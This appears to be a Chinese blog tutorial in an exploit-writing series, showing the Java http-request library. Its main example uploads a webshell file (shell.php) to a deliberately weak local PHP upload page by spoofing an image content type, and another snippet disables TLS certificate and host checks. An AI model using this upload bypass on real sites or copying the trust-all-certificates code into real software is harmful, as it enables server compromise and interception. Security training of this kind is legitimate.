JAVA-Exploit编写(6)--http-request库文件上传使用

server/2025/1/21 14:16:10/

目录

1.http-request简介

2. 依赖导入

3.文件上传页面代码

4. http-request文件上传简单使用

 5.请求https的网站解决SSL证书的问题

5. 1 直接请求带https域名的网站

5.2 信任所有证书


1.http-request简介

        http-request 是一个库 里面提供很多方法,使得很容易就可以构造http请求,相比于之前使用的标准库类等要简单使用很多,目前通过此库来编写EXP较多.

2. 依赖导入

<dependency><groupId>com.github.kevinsawicki</groupId><artifactId>http-request</artifactId><version>5.6</version>
</dependency>

3.文件上传页面代码

<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {if ($_FILES["file"]["error"] > 0) {echo "Return Code: " . $_FILES["file"]["error"] . "<br />";echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";} else {if (file_exists("uploads/" . $_FILES["file"]["name"])) {echo $_FILES["file"]["name"] . " already exists. ";} else {move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];}}
} else {echo "Invalid file";
}
?>

4. http-request文件上传简单使用

  相比于之前使用的标准库和httpcomponents库来说,使用起来简单很多,通过设置文件头和.part方法即可,一看就懂.

java">package com.deger.HttpRequest;import com.github.kevinsawicki.http.HttpRequest;import java.io.File;public class HttpRequestUpload {public static void main(String[] args) {// 文件上传HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/upload.php");// 设置请求头的文件类型httpRequest.header( "content-Type","multipart/form-data;boundary=AaB03x");// 设置上传的文件 以及上传文件位置httpRequest.part("file","test123.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell.php"));// 接收响应信息System.out.println(httpRequest.body());}
}

 5.请求https的网站解决SSL证书的问题

5. 1 直接请求带https域名的网站

java">package com.deger.HttpRequest;import com.github.kevinsawicki.http.HttpRequest;public class HttpRequestSsl {public static void main(String[] args) {HttpRequest httpRequest = HttpRequest.get("https://www.xxxxxx.com");System.out.println(httpRequest.body());}
}

5.2 信任所有证书

 只需要使用两个方法就可以正常使用了

java">package com.deger.HttpRequest;import com.github.kevinsawicki.http.HttpRequest;public class HttpRequestSsl {public static void main(String[] args) {HttpRequest httpRequest = HttpRequest.get("https://www.xxxxx.com");//信息所有证书和主机httpRequest.trustAllCerts();httpRequest.trustAllHosts();System.out.println(httpRequest.body());}
}

 


http://www.ppmy.cn/server/160194.html

相关文章

QT+VS2022 应用程序无法启动0x000007b问题记录

不知道怎么搞的出现了这个问题。记录一下我做的工作&#xff1b; 1.检查环境变量 我安装了两个版本的Qt&#xff0c;环境变量的顺序很重要&#xff0c;要把程序使用的那个版本靠前放&#xff1b; 可以参考&#xff1a; 彻底解决Qt报错&#xff1a;无法定位程序输入点于动态…

Linux -- HTTP 请求 与 响应 报文

目录 请求报文&#xff1a; 请求方法 响应报文&#xff1a; 状态码 与 状态码描述 共性 常见的报头 请求报文&#xff1a; 请求方法 方法说明GET获取资源POST传输实体主体PUT传输文件HEAD获得报文首部DELETE删除文件OPTIONS询问支持的方法TRACE追踪路径CONNECT要求用…

PyCharm中解决依赖冲突

1. 创建虚拟环境 确保为项目创建了一个虚拟环境&#xff0c;这样可以隔离项目的依赖&#xff0c;避免全局依赖冲突。 检查当前项目的 Python 环境 打开 PyCharm。点击菜单栏的 File > Settings > Project: [Your Project Name] > Python Interpreter。确保已选择一…

Vue2+OpenLayers添加缩放、滑块缩放、拾取坐标、鹰眼、全屏控件(提供Gitee源码)

目录 一、案例截图 二、安装OpenLayers库 三、代码实现 四、Gitee源码 一、案例截图 二、安装OpenLayers库 npm install ol 三、代码实现 废话不多说&#xff0c;直接给完整代码&#xff0c;替换成自己的KEY即可运行&#xff1a; <template><div><div i…

ubuntu 系统 ,docker建的服务 ,其他局网机器可以通过IP:端口的方式访问。不是docker的不行。

根据您的描述&#xff0c;docker 建的服务可以通过 IP&#xff1a;端口的方式被局网其他机器访问&#xff0c;而非 docker 的服务不行&#xff0c;以下是可能的原因及解决方法&#xff1a; 网络配置方面 • 检查非 docker 服务的网络监听配置&#xff1a;确保非 docker 服务是…

在视频汇聚平台EasyNVR平台中使用RTSP拉流的具体步骤

之前有用户反馈&#xff0c;在EasyNVR平台中添加Pull时使用海康设备的RTSP流地址无法播放。经过研发的优化及一系列严谨的验证流程&#xff0c;我们已确认优化后的EasyNVR平台&#xff0c;通过Pull方式添加海康设备的RTSP流已经能够正常播放。以下是具体的操作步骤&#xff1a;…

【AcWing】蓝桥杯辅导课-递归与递推

目录 1、递归 1.1 递归实现指数型枚举 1.2 递归实现排列型枚举 1.3 递归实现组合型枚举 1.4 带分数 方法一 方法二 2、递推 2.1 简单斐波那契 2.2 费解的开关 2.3 翻硬币 2.4 飞行员兄弟 方法一 方法二 1、递归 递归就是在函数内部自己调用自己 我们以递归的形式…

安装 Docker GPU 版本的过程及遇到的坑

首先&#xff0c;安装的 Docker 版本并不支持 GPU&#xff0c;因此需要安装支持 GPU 的 Docker 版本。然而&#xff0c;在安装和配置过程中&#xff0c;遇到了一系列问题和挑战。 错误的安装步骤 以下是我在尝试安装 GPU 版本时&#xff0c;执行的错误操作&#xff1a; # 安…